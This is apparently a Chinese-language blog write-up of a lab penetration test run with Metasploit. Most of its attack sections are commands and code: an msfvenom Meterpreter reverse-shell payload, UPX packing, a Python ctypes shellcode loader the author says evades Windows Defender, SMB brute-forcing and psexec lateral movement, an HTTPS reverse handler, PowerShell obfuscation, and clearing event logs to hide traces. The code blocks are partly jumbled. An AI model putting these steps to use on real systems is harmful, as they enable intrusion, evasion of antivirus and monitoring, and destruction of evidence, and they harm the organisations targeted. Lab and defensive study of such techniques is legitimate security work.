一、从防御视角看渗透测试
有一次在做某公司的防御体系评估时,我发现他们的网络流量监控平台对于异常流量的捕捉能力非常强。然而,在深入分析后,我注意到,他们对内网横向移动和恶意载荷的检测存在明显短板,尤其是对 Metasploit 等渗透框架的免杀处理几乎毫无对抗能力。这让我萌生了一个想法:如果攻击者使用 Metasploit 来测试这家公司的防御能力,会是什么结果?
作为一名CTF玩家和渗透测试爱好者,我决定从攻击者视角设计一次完整的测试,既可以验证防御的有效性,也可以帮助我们更好地理解攻击链,以下就是我的实战记录。
---
二、环境搭建:模拟真实目标网络
为了还原真实的渗透场景,我搭建了一个包含多种服务的靶场环境。目标是模拟一个中小型企业的网络架构,包括外网服务、内网主机以及内部数据库。这些服务包括:
- 外网开放端口:80 (HTTP)、443 (HTTPS)、22 (SSH)
- 内网开放端口:3306 (MySQL)、445 (SMB)、3389 (RDP)
- 操作系统:一台 Windows Server 2019、两台 Ubuntu Server、若干 Windows 10 客户端
- 防御工具:主机安装了常见杀软(Windows Defender)、企业EDR(CrowdStrike)
搭建过程使用了 VirtualBox 和 Docker,以下是我的具体配置步骤:
靶场搭建脚本(以 Ubuntu 为例)
<pre><code class="language-bash">#!/bin/bash
自动化搭建靶场脚本,用于模拟企业网络环境
安装必要的服务
apt update && apt upgrade -y apt install -y apache2 mysql-server ssh samba openssl
配置服务
echo "Configuring Apache..." echo '<html><body><h1>Welcome to the Test Environment</h1></body></html>' > /var/www/html/index.html systemctl restart apache2
echo "Configuring MySQL..." mysql -uroot -e "CREATE DATABASE testdb;" mysql -uroot -e "CREATE USER 'testuser'@'%' IDENTIFIED BY 'testpassword';" mysql -uroot -e "GRANT ALL PRIVILEGES ON testdb.* TO 'testuser'@'%';" systemctl restart mysql
echo "Setting up SMB share..." mkdir /srv/smbshare echo "[smbshare] path = /srv/smbshare read only = no guest ok = yes" >> /etc/samba/smb.conf systemctl restart smbd
echo "Environment setup complete!"</code></pre>
运行上述脚本后,我的靶场环境就搭建好了。接下来就是进入攻击者的角色,使用 Metasploit 渗透它。
---
三、Payload构造的艺术:绕过杀软的内存免杀
一个好的 Payload 是渗透测试的核心,特别是在面对强力杀软时,绕过检测是成功的关键。我选择使用 Metasploit 的 msfvenom 模块来生成一个恶意载荷,同时结合加壳与混淆手段实现免杀。

生成基础 Payload
我首先生成一个标准的 Windows Meterpreter 反向连接载荷:
<pre><code class="language-bash">msfvenom -p windows/meterpreter/reverse_tcp LHOST=<你的IP> LPORT=4444 -f exe > payload.exe</code></pre>
生成后发现,直接运行这个 payload.exe 会被 Windows Defender 秒杀。于是,我开始优化载荷。

加壳与混淆技术
为了绕过杀软,我采用了以下两种方法:
- 使用加壳工具:像 UPX 压缩工具可以对载荷进行简单加壳。
<pre><code class="language-bash"> upx --best --lzma payload.exe `
- 手写混淆代码:自己编写一个加载器,将恶意代码注入到目标进程中。这种方法效果更好,但需要一定的开发能力。以下是一个简单的 Python 加载器示例:
</code></pre>python import ctypes
加载恶意代码到内存
shellcode = b"\xfc\xe8\x82\x00\x00..." ptr = ctypes.windll.kernel32.VirtualAlloc(None, len(shellcode), 0x3000, 0x40) ctypes.windll.kernel32.RtlMoveMemory(ptr, shellcode, len(shellcode))
创建线程执行代码
handle = ctypes.windll.kernel32.CreateThread(None, 0, ptr, None, 0, None) ctypes.windll.kernel32.WaitForSingleObject(handle, -1) <pre><code> 通过以上方式,我成功生成了一个可以绕过 Windows Defender 的恶意程序。
---

四、内网漫游:横向移动的实战技巧
进入内网后,一个攻击者的核心目标是尽可能快速地扩大影响力。我在实验中主要使用了以下两种横向移动技术:
利用 SMB 共享
如果目标开启了 SMB 文件共享服务,可以通过 Metasploit 的 smb_login 模块尝试暴力破解: </code></pre>plaintext use auxiliary/scanner/smb/smb_login set RHOSTS 192.168.1.0/24 set USERNAME administrator set PASSWORD password123 run <pre><code> 一旦登录成功,就可以通过 psexec 模块执行恶意代码: </code></pre>plaintext use exploit/windows/smb/psexec set RHOSTS 192.168.1.100 set PAYLOAD windows/meterpreter/reverse_tcp set LHOST <你的IP> set LPORT 4444 run <pre><code>
利用 RDP 服务
对于开放 RDP 服务的主机,可以尝试使用凭证暴力破解后直接远程登录。在我的测试中,我发现目标主机的 RDP 端口存在弱密码问题,轻松获取了控制权。
---
五、如何伪装与规避流量监控
在渗透过程中,流量伪装是确保隐蔽性的关键。我使用了以下技巧:
HTTPS 隧道
通过设置 Metasploit 的 multi/handler,让所有通信流量都走 HTTPS: </code></pre>plaintext use exploit/multi/handler set payload windows/meterpreter/reverse_https set LHOST <你的IP> set LPORT 443 run `
流量混淆
使用 Invoke-Obfuscation 工具对 PowerShell 脚本进行混淆,极大降低被检测的概率。

---
六、个人经验分享:成功渗透的关键点
跨过这么多防线后,我总结了一些实战经验:
- 多试探:不要一开始就用最强的恶意载荷,先用轻量级的工具测试防御能力。
- 利用漏洞:内网渗透的关键是找到那些没打补丁的服务器。
- 清理痕迹:每次操作后用 Metasploit 的
clearev模块清理日志。
这次实验让我深刻认识到,防御能力不足的企业很容易被攻击者利用。作为安全人员,我们必须从攻击者视角审视自己的防线,把漏洞的利用可能性降到最低。